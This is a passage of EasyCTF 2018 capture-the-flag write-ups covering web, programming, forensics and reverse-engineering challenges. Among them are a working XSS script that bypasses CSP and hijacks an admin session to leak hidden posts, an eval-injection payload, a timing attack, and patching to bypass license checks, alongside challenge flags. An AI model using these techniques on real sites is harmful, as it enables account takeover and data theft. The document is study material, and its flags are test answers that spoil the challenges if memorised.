;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;ns2.nicebowlofsoup.com. IN A
;; ANSWER SECTION:
ns2.nicebowlofsoup.com. 86145 IN A 159.65.43.62
;; Query time: 1 msec
;; SERVER: 67.207.67.2#53(67.207.67.2)
;; WHEN: Tue Feb 20 14:56:55 UTC 2018
;; MSG SIZE rcvd: 67
$ dig axfr nicebowlofsoup.com @159.65.43.62
; <<>> DiG 9.10.3-P4-Ubuntu <<>> axfr nicebowlofsoup.com @159.65.43.62
;; global options: +cmd
nicebowlofsoup.com. 86400 IN SOA ns1.nicebowlofsoup.com. hostmaster.nicebowlofsoup.com. 2018021205 28800 7200 604800 86400
easyctf.nicebowlofsoup.com. 10 IN TXT "easyctf{why_do_i_even_have_this_domain}"
nicebowlofsoup.com. 100 IN TXT "Close, but no cigar... where else could it be? hint: the nameserver's IP is 159.65.43.62"
nicebowlofsoup.com. 86400 IN SOA ns1.nicebowlofsoup.com. hostmaster.nicebowlofsoup.com. 2018021205 28800 7200 604800 86400
;; Query time: 17 msec
;; SERVER: 159.65.43.62#53(159.65.43.62)
;; WHEN: Tue Feb 20 14:56:35 UTC 2018
;; XFR size: 4 records (messages 3, bytes 404)
Therefore, the flag is easyctf{why_do_i_even_have_this_domain}
.
EasyCTF_2018: Fumblr
Category: Web Points: 275 Description:
Come check out the latest blogging platform all the cool kids are using! I tried my hardest to make it hack-proof. If you can read the admin's hidden posts, I'll even give you a flag!! Good luck!?
Write-up
This challenge tests upon the bypassing of Content Security Policy that prevented the use of in-line scripts. Other than that, it was mostly a test on creativity to force the admin to do whatever I wanted him to do to give me my flag.
To solve this challenge, create our first blog post with our malicious script. This essentially saves the entire blog page in a variable, logs out, logs back in as us and posts the blog page in a blog post. I smile to myself when I think of my own solution. Please don't hack me. I use the same password for every site.
// Get blog
var resp = $.get({url: "http://c1.easyctf.com:12491/profile", async: false}).responseText;
var username = $(resp).find("p")[0].innerHTML.match(/: ([\w]+)/)[1];
var blog = $.get({url: "http://c1.easyctf.com:12491/blog/" + username, async: false}).responseText;
// Logout
$.get({url: "http://c1.easyctf.com:12491/logout", async: false});
// Login
var resp = $.get({url: "http://c1.easyctf.com:12491/login", async: false}).responseText;
var csrf = $($(resp).find("form input[name='_csrf']")[0]).val()
$.ajax({type: "POST", url: "http://c1.easyctf.com:12491/login", data: {username: "cykablyat123", password: "h$rw@5Fjuj2#m89cU6PrkWWHS3P&2Bya", _csrf: csrf}, async: false});
// Post blog
var resp = $.get({url: "http://c1.easyctf.com:12491/profile", async: false}).responseText;
var username = $(resp).find("p")[0].innerHTML.match(/: ([\w]+)/)[1];
var resp = $.get({url: "http://c1.easyctf.com:12491/blog/" + username, async: false}).responseText;
var csrf = $($(resp).find("form input[name='_csrf']")[0]).val()
$.ajax({type: "POST", url: "http://c1.easyctf.com:12491/create-post", data: {title: "HTML", body: blog, _csrf: csrf}, async: false});
Create our second blog post embedding the previous script inside as a raw file. Remember to insert the previous post's URL into the script.
<script src="http://c1.easyctf.com:12491/blog/cykablyat123/INSERT OUR PREVIOUS'S POST URL/raw"></script>
Next, simply report our second blog post and wait. After a couple seconds, a new blog post would've been created by the hacked admin user and we get the HTML source code of the admin's blog. Doing a bit of CTRL-F
, you come across a nice looking site. Accessing the site, we get the flag.
Therefore, the flag is easyctf{I_th0ght_CSP_m4d3_1t_s3cur3?}
.
EasyCTF_2018: Teaching Old Tricks New Dogs
Category: Programming Points: 40 Description:
You can decode a Caesar cipher, but can you write a program to decode a Caesar cipher? Your program will be given 2 lines of input, and your program needs to output the original message. First line contains N, an integer representing how much the key was shifted by. 1 <= N <= 26 Second line contains the ciphertext, a string consisting of lowercase letters and spaces. For example:
6
o rubk kgyeizl
You should printi love easyctf
Write-up
ciphertext = input()
plaintext = ""
for c in ciphertext:
if c == " ":
plaintext += c
continue
plaintext += chr(((ord(c)-ord('a')) - N) % 26 + ord('a'))
print(plaintext)
Therefore, there is no flag.
EasyCTF_2018: Starman 1
Category: Programming Points: 80 Description:
Starman has taken off in search of a team to help him win EasyCTF! He's reached the asteroid belt, which everyone knows is the best place in the galaxy to find cybersecurity talent. Each asteroid is home to one superstar hacker. Starman wants to take all of the hackers back to Earth to help him with the competition, but unfortunately this isn't practical - all of the hackers are very attached to their asteroid homes, and won't go back to Earth unless Starman agrees to take the asteroids with him. Furthermore, each hacker has a skill rating r. To ensure a win in EasyCTF, Starman wants to maximize the sum of the rating values of his team members.
There are N hackers, and Starman's Roadster can carry up to W pounds of additional weight. Help him decide which hackers to bring home.
Input Format The first line contains two integers N and W. The following N lines each contain two integers r_i and w_i, representing the skill and weight of the ith hacker. (w_i is the sum of a hacker and their asteroid's weight).
1 <= N, W <= 2000
1 <= r_i, w_i <= 10000
Output Format A single integer, the best sum-of-ratings Starman can achieve while keeping the total weight added to his Roadster less than or equal to W.
Sample Input
5 15
6 7
3 4
3 5
10 11
8 8
Sample Ouput
14
Write-up
This challenge involved the Knapsack Problem of dynamic programming. Thankfully, there are already implementations online and I just modeled my solution over a few of them.
Therefore, there is no flag.
EasyCTF_2018: Starman 2
Category: Programming Points: 175 Description:
Starman is back at it again! Having successfully brought back several hackers from the asteroid belt, he wants to eliminate the possibility of competition from the hackers he left behind. He has equipped his Roadster with an asteroid-destroying laser, but unfortunately he's only able to fire it once. Asteroids can be represented as points in a 2D plane. The laser, when fired, sends a beam of width W straight forward, and destroys everything in its path. Starman can go anywhere to fire his beam. It's expensive to fire wider beams, so your job is to find out the smallest possible width of the beam.
Input Format The first line contains a single integer N, representing the number of asteroids. The following N lines each contain two integers x_i and y_i, representing the x and y coordinates of the ith asteroid.
3 <= N <= 200000
-10^8 <= x_i, y_i <= 10^8
Output Format A decimal printed to six decimal places (including trailing zeroes; this can be accomplished using printf or your language's equivalent) representing the minimum possible value of W.
Sample Input
5
12 4
-2 5
-8 -7
-1 -11
5 3
Sample Ouput
11.234578
Write-up
Disclaimer: Solution has been ripped from too many sources, I do not take full credit for anything This challenge was a lot harder but essentially, can be solved with rotating calipers and minimum bounding hull algorithms. Full solution here.
Therefore, there is no flag.
EasyCTF_2018: Taking Input
Category: Programming Points: 30 Description:
OK, OK, you got Hello, world down, but can you greet specific people?
You'll be given the input of a certain name. Please greet that person using the same format. For example, if the given input is Michael
, print Hello, Michael
!.
For Python, consider the input()
function.
For Java, consider System.in
.
For C, consider including stdio.h
and reading input using read
.
For C++, consider including iostream
and reading input using cin
.
Write-up
print("Hello, " + input() + "!")
Therefore, there is no flag.
EasyCTF_2018: Over and Over
Category: Programming Points: 30 Description:
over and over and over and over and over and ... Given a number
N
, print the string "over [and over]" such that the string containsN
"over"s. There should not be newlines in the string. For example: ForN
= 1, print "over". ForN
= 5, print "over and over and over and over and over". For Python, consider usingfor
andrange
. For Java/CXX, consider using afor
loop. Try doing it withwhile
too for practice!
Write-up
times=int(input())
output=""
for i in range(times):
output+="over and "
print(output.strip("and "))
Therefore, there is no flag.
EasyCTF_2018: Subset Counting
Category: Programming Points: 55 Description:
Given a set of numbers, print out how many non-empty subsets sum to a given integer.
Input Format The first line contains two integers N and S. The second line contains N space-separated integers a_1, a_2, ..., a_N.
1 <= N <= 20
-100 <= S <= 100
-1000 <= a_i <= 1000
Output Format A single integer, the number of non-empty subsets which sum to S. Two subsets are different if an element appears in one and does not appear in the other. Note that a_1 is distinct from a_2, even if their values are identical.
Sample Input
6 5
2 4 1 1 1 2
Sample Ouput
8
Write-up
Like the previous challenges, this can be solved with pre-existing Python implementations just tweaked. This is an example of the given sum problem.
Therefore, there is no flag.
EasyCTF_2018: Exclusive
Category: Programming Points: 30 Description:
Given two integers a and b, return a xor b. Remember, the xor operator is a bitwise operator that's usually represented by the ^ character. For example, if your input was 5 7, then you should print 2.
Write-up
ab = input().split(" ")
print(int(ab[0]) ^ int(ab[1]))
Therefore, there is no flag.
EasyCTF_2018: Discord
Category: Misc Points: 1 Description:
Join the Discord chat! Maybe if you use it enough, you'll find the flag.
Write-up
Flag is given when you join the discord chat,
Therefore, the flag is easyctf{Is_this_really_a_D1sc0rd_fl4g?}
.
EasyCTF_2018: Little Language
Category: Miscellanous Points: 250 Description:
I want root access to this special programming portal, and this file is my only clue. Maybe the password is inside? Even if it is, I'm not sure how to enter it. encrypted
nc c1.easyctf.com 12480
Oh! Almost forgot... this might help.
Write-up
This challenge was fantastically annoying. Firstly, to start off with, the creator is @ztaylor54. A little googling leads us to his portfolio site. On there, you find a suspicious link and reference to 5ive
.
A little bit more googling and we land on this GitHub page for 5ive1terpreter. In this file, we see something highly familiar.
Stmt
: Expr { NodeE $1 }
| alive var '=' Expr { NodeLet $2 $4 }
| unded var '=' Expr { NodeRecLet $2 $4 }
| class cname "{" fields VList "..." MList "}" { NodeClass $2 $5 $7 }
| class cname extends cname "{" fields VList "..." MList "}" {NodeClassExtends $2 $4 $7 $9 }
Going back to the files we got,
Hmm... That certainly looks suspicious. Maybe the variables were renamed?
# nc c1.easyctf.com 12480
ctflang
commands begin with ":" (try :help)
global tag = 2
tag
2
Bingo! Now we know what sets the variable, let's try and look at the image above. What does that mean? Well, according to the PDF file, it seems to be some form of expression semantics. Let's get back to it later. To get the password, just strings
.
# strings encrypted
[...]
zQYY
(1 ???99
%5)r
,..6
MbUU
<x0y
IEND
note: the password is l7&4C&Cg
Now, let's try to get the flag, which according to the expression semantic, is a function.
# nc c1.easyctf.com 12480
ctflang
commands begin with ":" (try :help)
global username = "root"
global password = "l7&4C&Cg"
flag
EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}
Therefore, the flag is EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}
.
EasyCTF_2018: Flag Time
Category: Misc Points: 80 Description:
This problem is so easy, it can be solved in a matter of seconds. Port 12482.
Write-up
This challenge was mentally the worst ever, since I originally used a single-threaded script to do it but with 1 second delays per correct character, I would have taken a millienia to solve this. Enter the multi-threaded scripts.
Essentially, this challenge is a timing attack challenge, except the timing delay is 1 second long and is immensely painful. I finally decided to use my favourite threads to solve this challenge in hopes of being able to sleep at night. Full script available here.
# ./solve.py
[...]
[*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}@' Time: 26.31693387031555
[*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}<' Time: 26.315574884414673
[*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}?' Time: 26.317901134490967
[*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}=' Time: 26.330061674118042
[*] Current Best: 'easyctf{ez_t1m1ng_4ttack!}' Attempting: 'easyctf{ez_t1m1ng_4ttack!}~' Time: 26.31587290763855
[+] Flag Found! easyctf{ez_t1m1ng_4ttack!}
Therefore, the flag is easyctf{ez_t1m1ng_4ttack!}
.
EasyCTF_2018: Zipperoni
Category: Miscellanous Points: 160 Description:
I've created a dastardly chain of zip files. Now you'll never find my flag! The first file is
begin.zip
, with passwordcoolkarni
.
Write-up
This challenge is just a programming challenge with continous zip and bruteforcing. However, traditional bruteforcing will take too long and instead you have to be smart when bruteforcing. Firstly, the pattern given in begin.zip
goes along the lines of something like ___0_0_
. Well, essentially, the _
s are part of the actual password but 0
refers to digits.
0 -> 0123456789
a -> abcdefghijklmnopqrstuvwxyz
A -> ABCDEFGHIJKLMNOPQRSTUVWXYZ
So, to solve this, we need to be good with Python scripting :) Additionally, the hash.txt
file that is produced every iteration is the SHA-1 hash of the password needed for the next zip file specified in filename.txt
.
$ ./solve.py
ATTEMPTING: __0_0_
SUCCESS: __1_8_
[...]
ATTEMPTING: _00aA0
SUCCESS: _46rW9
easyctf{you_must_REALLY_luv_zip_files_by_now!}
Therefore, the flag is easyctf{you_must_REALLY_luv_zip_files_by_now!}
EasyCTF_2018: Zippity
Category: Misc Points: 80 Description:
I heard you liked zip codes! Connect via
nc c1.easyctf.com 12483
to prove your zip code knowledge.
Write-up
This challenge was tricky in that you had to know where to look for the census data. Upon connecting, you get some hints on where to look.
# nc c1.easyctf.com 12483
+======================================================================+
| Welcome to Zippy! We love US zip codes, so we'll be asking you some |
| simple facts about them, based on the 2010 Census. Only the |
| brightest zip-code fanatics among you will be able to succeed! |
| You'll have 30 seconds to answer 50 questions correctly. |
+======================================================================+
3... 2... 1... Go!
Round 1 / 50
What is the water area (m^2) of the zip code 93550?
Essentially, we have to look for 2010 census data. After poking around for quite some time, we get this link on this page. Downloading the archive allows us to complete this challenge by pure Python magick.
# ./solve.py
[+] Opening connection to c1.easyctf.com on port 12483: Done
[+] Cracking ECDSA...: Cracked!
[+] You succeeded! Here's the flag:
easyctf{hope_you_liked_parsing_tsvs!}
[*] Closed connection to c1.easyctf.com port 12483
Therefore, the flag is easyctf{hope_you_liked_parsing_tsvs!}
.
EasyCTF_2018: Diff
Category: Forensics Points: 100 Description:
Sometimes, the differences matter. Especially between the files in this archive. Hint: This is a TAR archive file. You can extract the files inside this tar by navigating to the directory where you downloaded it and running tar xf file.tar! If you don't have tar on your personal computer, you could try doing it from the Shell server. Once you extract the files, try comparing the hex encodings of the files against the first file.
Write-up
This challenge was really simple and simply required proper DIFFing of the files. To start off, simply xxd
all the files to their hex encoded counterpart,
# xxd file > file.hex
# xxd file2 > file2.hex
# xxd file3 > file3.hex
# xxd file4 > file4.hex
Then simply compare!
# diff -a file.hex file2.hex
1c1
< 00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
---
> 00000000: 7f45 4c46 0201 0100 0065 0000 0000 0000 .ELF.....e......
8c8
< 00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................
---
> 00000070: 0800 0000 0000 0000 0361 0000 0400 0000 .........a......
15c15
< 000000e0: 0000 2000 0000 0000 0100 0000 0600 0000 .. .............
---
> 000000e0: 0000 2000 0000 0000 0100 7300 0600 0000 .. .......s.....
18,19c18,19
< 00000110: 9802 0000 0000 0000 0000 2000 0000 0000 .......... .....
< 00000120: 0200 0000 0600 0000 f80d 0000 0000 0000 ................
---
> 00000110: 9802 0000 7963 7400 0000 2000 0000 0000 ....yct... .....
> 00000120: 0200 0000 0600 6600 f80d 0000 0000 0000 ......f.........
25c25
< 00000180: 4400 0000 0000 0000 0400 0000 0000 0000 D...............
---
> 00000180: 4400 0000 0000 007b 0400 0000 0000 0000 D......{........
31c31
< 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
---
> 000001e0: 0000 0000 0000 0064 0000 0000 0000 0000 .......d........
59c59
< 000003a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
---
> 000003a0: 0000 0000 0000 0069 0000 0000 0000 0000 .......i........
558a559
> 000022e0: 0a
From the first few lines, we can something really interesting already,
1c1
< 00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
---
> 00000000: 7f45 4c46 0201 0100 0065 0000 0000 0000 .ELF.....e......
8c8
< 00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................
---
> 00000070: 0800 0000 0000 0000 0361 0000 0400 0000 .........a......
15c15
< 000000e0: 0000 2000 0000 0000 0100 0000 0600 0000 .. .............
---
> 000000e0: 0000 2000 0000 0000 0100 7300 0600 0000 .. .......s.....
18,19c18,19
< 00000110: 9802 0000 0000 0000 0000 2000 0000 0000 .......... .....
< 00000120: 0200 0000 0600 0000 f80d 0000 0000 0000 ................
---
> 00000110: 9802 0000 7963 7400 0000 2000 0000 0000 ....yct... .....
> 00000120: 0200 0000 0600 6600 f80d 0000 0000 0000 ......f.........
Comparing the differences in each line, you get the letters easyctf
. Where do we go from this? Well, after comparing file.hex
with file2.hex
, file3.hex
and file4.hex
, you get the flag!
# diff -a file.hex file2.hex
1c1
< 00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
---
> 00000000: 7f45 4c46 0201 0100 0065 0000 0000 0000 .ELF.....e......
8c8
< 00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................
---
> 00000070: 0800 0000 0000 0000 0361 0000 0400 0000 .........a......
15c15
< 000000e0: 0000 2000 0000 0000 0100 0000 0600 0000 .. .............
---
> 000000e0: 0000 2000 0000 0000 0100 7300 0600 0000 .. .......s.....
18,19c18,19
< 00000110: 9802 0000 0000 0000 0000 2000 0000 0000 .......... .....
< 00000120: 0200 0000 0600 0000 f80d 0000 0000 0000 ................
---
> 00000110: 9802 0000 7963 7400 0000 2000 0000 0000 ....yct... .....
> 00000120: 0200 0000 0600 6600 f80d 0000 0000 0000 ......f.........
25c25
< 00000180: 4400 0000 0000 0000 0400 0000 0000 0000 D...............
---
> 00000180: 4400 0000 0000 007b 0400 0000 0000 0000 D......{........
31c31
< 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
---
> 000001e0: 0000 0000 0000 0064 0000 0000 0000 0000 .......d........
59c59
< 000003a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
---
> 000003a0: 0000 0000 0000 0069 0000 0000 0000 0000 .......i........
558a559
> 000022e0: 0a
FLAG: easyctf{di
# diff -a file.hex file3.hex
12c12
< 000000b0: 0100 0000 0500 0000 0000 0000 0000 0000 ................
---
> 000000b0: 0100 6600 0500 0000 0000 0000 0000 0000 ..f.............
17c17
< 00000100: e00d 6000 0000 0000 7c02 0000 0000 0000 ..`.....|.......
---
> 00000100: e00d 6000 6600 0000 7c02 0000 0000 0000 ..`.f...|.......
32c32
< 000001f0: 0000 0000 0000 0000 1000 0000 0000 0000 ................
---
> 000001f0: 0000 0000 0069 0000 1000 0000 0000 0000 .....i..........
50c50
< 00000310: 0000 0000 0000 0000 0000 0000 0000 0000 ................
---
> 00000310: 0000 0000 006e 6900 0000 0000 0000 0000 .....ni.........
61c61
< 000003c0: 0000 0000 0000 0000 8b00 0000 1200 0000 ................
---
> 000003c0: 0000 0000 0000 746c 8b00 0000 1200 0000 ......tl........
273c273
< 00001100: 5f72 002e 7265 6c61 2e64 796e 002e 7265 _r..rela.dyn..re
---
> 00001100: 5f72 002e 7265 795f 2e64 796e 002e 7265 _r..rey_.dyn..re
283c283
< 000011a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
---
> 000011a0: 0000 0000 0000 616e 5f00 0000 0000 0000 ......an_.......
558a559
> 000022e0: 0a
FLAG: easyctf{di + ffinitly_an_
# diff -a file.hex file4.hex
79c79
< 000004e0: 0200 0200 0200 0200 0200 0000 0000 0000 ................
---
> 000004e0: 657a 0200 5f70 726f 626c 656d 217d 0000 ez.._problem!}..
558a559
> 000022e0: 0a
FLAG: easyctf{diffinitly_an_ + ez_problem!}
Therefore, the flag is easyctf{diffinitly_an_ez_problem!}
EasyCTF_2018: Look At Flag
Category: Forensics Points: 30 Description:
What is the flag? flag
Write-up
Too bad I use Chrome to do my challenges and it opened up the .txt
file as an image. RIP challenge. You will be remembered.
Therefore, the flag is easyctf{FLaaaGGGGGg}
.
EasyCTF_2018: The Letter
Category: Forensics Points: 80 Description:
I got a letter in my email the other day... It makes me feel sad, but maybe it'll make you glad. :( file
Write-up
This challenge was relatively simple as well, just renaming the file to .zip
and extracting it reveals a template.png
below. For people having issues with unzipping it, try using the Linux commands instead, like $ unzip myletter.docx -d myletter/
Therefore, the flag is easyctf{r3j3ct3d_4nd_d3jected}
.
EasyCTF_2018: Haystack
Category: Forensics Points: 30 Description:
There's a flag hidden in this haystack.
Write-up
This challenge is just a little slightly obnoxious for older computers but using a little grep
magic, you can pull the flag from thin air!
root@ctf:~# cat haystack.txt | grep -Eo easyctf{.*}
easyctf{tiXAuDCgmfDyMwNelDbPbWeyA}
Therefore, the flag is easyctf{tiXAuDCgmfDyMwNelDbPbWeyA}
EasyCTF_2018: Special Endings
Category: Forensics Points: 350 Description:
She taught us so much... tribute
Write-up
This challenge was a hit and miss but essentially, was inspired by a previous CTF challenge. After a bit of tweaking, I finally fixed my script to solve it. I will not go into too much details on how the solution solves the flag, as the link referenced earlier has a much better explanation than I do :).
$ ./solve.py
easyctf{ill_miss_you}
Therefore, the flag is easyctf{ill_miss_you}
.
EasyCTF_2018: EzSteg
Category: Forensics Points: 30 Description:
There appears to be a message beyond what you can see in soupculents.jpg.
Write-up
This one was another easy challenge involving the use of strings
.
root@2895f837fc1c:~# strings soupculents.jpg
[...]
;48yY
T8RT
(aCt
q$`I
eE^]
easyctf{l00k_at_fil3_sigS}
Therefore, the flag is easyctf{l00k_at_fil3_sigS}
.
EasyCTF_2018: Remember Me
Category: Forensics Points: 130 Description:
I'm such a klutz! I know I hid a flag in this file somewhere, but I can't remember where I put it! Song is from sukasuka.
Write-up
Using Audacity, one can easily remove the vocals entirely from the given file through the Effect > Vocal Reduction and Isolation feature. After a bit of extracting, we are left with an audio clip of someone reading the flag out.
Therefore, the flag is easyctf{4ud10_st3g}
.
EasyCTF_2018: EzReverse
Category: Reverse Engineering Points: 140 Description:
Take a look at executable. Objdump the executable and read some assembly!
Write-up
This challenge was great fun and lots of experience was gained in the arts of radare2
. In a nutshell, this program accepts 5 characters as an argument but if any arguments are wrong, it self-deletes. To get around this, I made a patched binary that would not do that :D.
Essentially, of the 5 characters, the fourth character is always k
and the rest are all very strongly tied to one another. An excerpt is shown below,
│ │ 0x0040090e 8b45ec mov eax, dword [local_14h]
│ │ 0x00400911 83f86f cmp eax, 0x6f ; 'o' ; 111
│ │┌─< 0x00400914 7551 jne 0x400967
│ ││ 0x00400916 8b45e8 mov eax, dword [local_18h]
│ ││ 0x00400919 8b55ec mov edx, dword [local_14h]
│ ││ 0x0040091c 83c20e add edx, 0xe
│ ││ 0x0040091f 39d0 cmp eax, edx
│ ┌───< 0x00400921 7544 jne 0x400967
│ │││ 0x00400923 8b45e0 mov eax, dword [local_20h]
│ │││ 0x00400926 8b55f0 mov edx, dword [local_10h]
│ │││ 0x00400929 83ea0a sub edx, 0xa
│ │││ 0x0040092c 39d0 cmp eax, edx
│ ┌────< 0x0040092e 7537 jne 0x400967
│ ││││ 0x00400930 8b45e4 mov eax, dword [local_1ch]
│ ││││ 0x00400933 83f835 cmp eax, 0x35 ; '5' ; 53
│ ┌─────< 0x00400936 752f jne 0x400967
│ │││││ 0x00400938 8b45f0 mov eax, dword [local_10h]
│ │││││ 0x0040093b 8b55ec mov edx, dword [local_14h]
│ │││││ 0x0040093e 83c203 add edx, 3
│ │││││ 0x00400941 39d0 cmp eax, edx
│ ┌──────< 0x00400943 7522 jne 0x400967
│ ││││││ 0x00400945 bf660a4000 mov edi, str.Now_here_is_your_flag: ; 0x400a66 ; "Now here is your flag: " ; const char * format
Additionally, there is tricky above that adds offsets to all integers, according to their placements,
│ │ 0x00400881 c745e0010000. mov dword [local_20h], 1
│ │ 0x00400888 c745e4020000. mov dword [local_1ch], 2
│ │ 0x0040088f c745e8030000. mov dword [local_18h], 3
│ │ 0x00400896 c745ec040000. mov dword [local_14h], 4
│ │ 0x0040089d c745f0050000. mov dword [local_10h], 5
As such, by running the command with our full argument, we get our flag,
# ./executable_patched g3zkm
Now here is your flag: 10453125111114
Therefore, the flag is 10453125111114
.
EasyCTF_2018: hexedit
Category: Reverse Engineering Points: 50 Description:
Can you find the flag in this file?
Write-up
Another simple one, just using $ strings
.
root@ctf:~/downloads# strings hexedit
[...]
[]A\A]A^A_
Find the flag!
;*3$"
easyctf{c20f2b9f}
GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
.symtab
.strtab
.shstrtab
[...]
Therefore, the flag is easyctf{c20f2b9f}
.
EasyCTF_2018: Maldropper
Category: Reverse Engineering Points: 160 Description:
Mind looking at this malware dropper I found? File Note: this isn't actually malware, it just borrows obfuscation techniques from low quality malware.
Write-up
Before I start, I would like to give a shoutout to Keka for immediately ruining the obfuscation on the hidden binary. By simply double-clicking, Keka automatically unzipped a flagbuilder.exe.
In this case, as I was new to Windows, I looked up for the easiest tool for Windows disassembly and found dnSpy. With that, we basically have the source for the flag generator.
using System;
using System.Text;
public class Test
{
public static void Main()
{
Random random = new Random(239463551);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append("easyctf{");
for (int i = 0; i < 6; i++)
{
stringBuilder.Append(random.Next());
}
stringBuilder.Append("}");
Console.WriteLine(stringBuilder.ToString());
}
}
Running this gives us our flag, literally printed right in the console.
Therefore, the flag is easyctf{12761716281964844769159211786140015599014519771561198738372}
.
EasyCTF_2018: Adder
Category: Reverse Engineering Points: 80 Description:
This program adds numbers. Find the flag! adder
Write-up
This challenge is really simple, just load up the decompiler,
│ 0x00400b9c 01d0 add eax, edx
│ 0x00400b9e 3d39050000 cmp eax, 0x539 ; 1337
│ ┌─< 0x00400ba3 7527 jne 0x400bcc
Add 3 numbers!
# ./adder
Enter three numbers!
0
1000
337
easyctf{y0u_added_thr33_nums!}
Therefore, the flag is easyctf{y0u_added_thr33_nums!}
.
EasyCTF_2018: Soupstitution Cipher
Category: Reverse Engineering Points: 70 Description:
We had a flag, but lost it in a mess of alphabet soup! Can you help us find it? Connect to the server via nc c1.easyctf.com 12484.
Write-up
This challenge is just obfuscation of simple functions. A closer look at the code reveals that someone likes soup a lot, to the point of changing almost every word to soup but essentially, the code can be boiled (pardon the pun) down to
for codepoint in range(2**16):
c = chr(codepoint)
if c.isdigit():
print(u'{}: {}'.format(functionA(c), c))
The key to solving this, is to understand that digits consist of unicode characters. Since the function used to convert the characters to digits are purely base10, we can do a bit of overflowing to achieve 10 digits with only 7 characters.
Before that, we will need to convert our s0up
to a number we want to work with and by throwing it through hexlify and both functions, we get the number 2365552391
. Now it's a matter of getting the codepoints.
Now, the challenge becomes a guessing game on the perfect combination of uncodes that would add up to the number. There could be an automated way to solve this but I was too much too tired to solve this automatically.
++++++++++++
2365552391
- 2358
_
++++++++++++
7552391
- 0
_
++++++++++++
7552391
- 0
_
++++++++++++
7552391
- 7209
_
++++++++++++
343391
- 3001
_
++++++++++++
43291
- 3387
_
++++++++++++
9421
- 9421
_
++++++++++++
After a long time of bruteforcing, and a certain bird's whispers, the challenge arrived at ⓽൫௩᱙00०
. Additionally, as it's reversed, the actual input has to be ०00᱙௩൫⓽
.
Attempting to submit it, gives us the flag,
# nc c1.easyctf.com 12484
०00᱙௩൫⓽
०00᱙௩൫⓽
oh yay it's a flag! easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp}
Therefore, the flag is easyctf{S0up_soup_soUP_sOuP_s0UP_S0up_s000000OOOOOOuuuuuuuuppPPppPPPp}
.
EasyCTF_2018: Pixelly
Category: Reverse Points: 220 Description:
I've created a new ASCII art generator, and it works beautifully! But I'm worried that someone might have put a backdoor in it. Maybe you should check out the source for me...
Write-up
Disclaimer: Writeup for this challenge is poorly done due to my laziness, just refer to the script provided at the end. Sorry. This challenge was one of the most fun I've had, not that it was too easy or anything but essentially, the targetted line was,
# hehehe
try:
eval(arr)
except SyntaxError:
pass
where arr
was the image converted to ASCII art. Looking at the charset, we can formulate a plan to execute stuff that it should not.
chars = np.asarray(list(' -"~rc()+=01exh%'))
After a bit of tweaking, the following seems like the best bet would be to call something like exec(eval(flag))
. Since we have the charset for exec
, we only need to work on using chr()
to get our characters for the valfg
characters.
Now apparently, the generated image payload won't give us the flag, this is simply because of the extra whitespace newlines that our empty image produces. To fix, simply generate an image that's 10
pixels or lower in height.
Disclaimer, for some reason, my script did not want to transcribe -
characters properly, so I just converted everything to using +
s.
Finally, using our now finalised script to generate our payload, submit our generated image for submission. With that, we get our flag too.
Therefore, the flag is easyctf{wish_thi5_fl@g_was_1n_ASCII_@rt_t0o!}
.
EasyCTF_2018: License Check
Category: Reverse Engineering Points: 300 Description:
I want a valid license for a piece of software, here is the license validation software. Can you give me a valid license for the email
[email protected]
? Note: flag is not in easyctf{} format.
Write-up
Through lots of debugging, patching and pulling my hair out in ways that I actually do not know how to do a writeup on, I finally figured out how to bypass the debugger check by patching the binary too many times to count. Through masochistic analysis with ollydbg and too many cups of coffees, we can conclude 6 properties of the licenses for [email protected]`.
- The email
[email protected]
generates a checksum of1ae33
- The checksum is in base-30
- License key is 16 characters in base-30
- License key is split into 4 equal parts of 4 characters of base-30 each
- Every part is then converted to its representive integers
- Every part is then XORed together and the result must match the checksum
This can be then converted into a Python representation and be used to generate our license key.
$ ./solve.py
4ld70r4e43h043h0
Therefore, the flag is 4ld70r4e43h043h0
.
EasyCTF_2018: Liar
Category: Reverse Points: 70 Description:
Sometimes, developers put their source into their code with -g. Sometimes, they put another source into their code with -g. executable source
Write-up
This challenge relied on the disasembly of the executable to find out that 1337
was indeed not the value to use. In fact, upon disassembly of the code, you find a really interesting number.
│ 0x5555555548f0 8b45ec mov eax, dword [input]
│ 0x5555555548f3 3529eb5800 xor eax, 0x58eb29
0x58eb29
is also 5827369
. However, using it doesn't give us our flag either,
# ./getflag
5827369
Now what? Well, if we look closely, the input is being used as a variable to some form of XOR operations,
│ 0x5555555548f0 8b45ec mov eax, dword [input]
│ 0x5555555548f3 3529eb5800 xor eax, 0x58eb29
│ 0x5555555548f8 8945f4 mov dword [local_ch], eax
│ 0x5555555548fb c745f0000000. mov dword [loops], 0
│ ┌─< 0x555555554902 eb41 jmp 0x555555554945
│ ┌──> 0x555555554904 8b45f0 mov eax, dword [loops]
│ ⁝│ 0x555555554907 4898 cdqe
│ ⁝│ 0x555555554909 488d14c50000. lea rdx, [rax*8]
│ ⁝│ 0x555555554911 488d05480720. lea rax, obj.f ; 0x555555755060 ; "e"
│ ⁝│ 0x555555554918 488b0402 mov rax, qword [rdx + rax]
│ ⁝│ 0x55555555491c 89c6 mov esi, eax
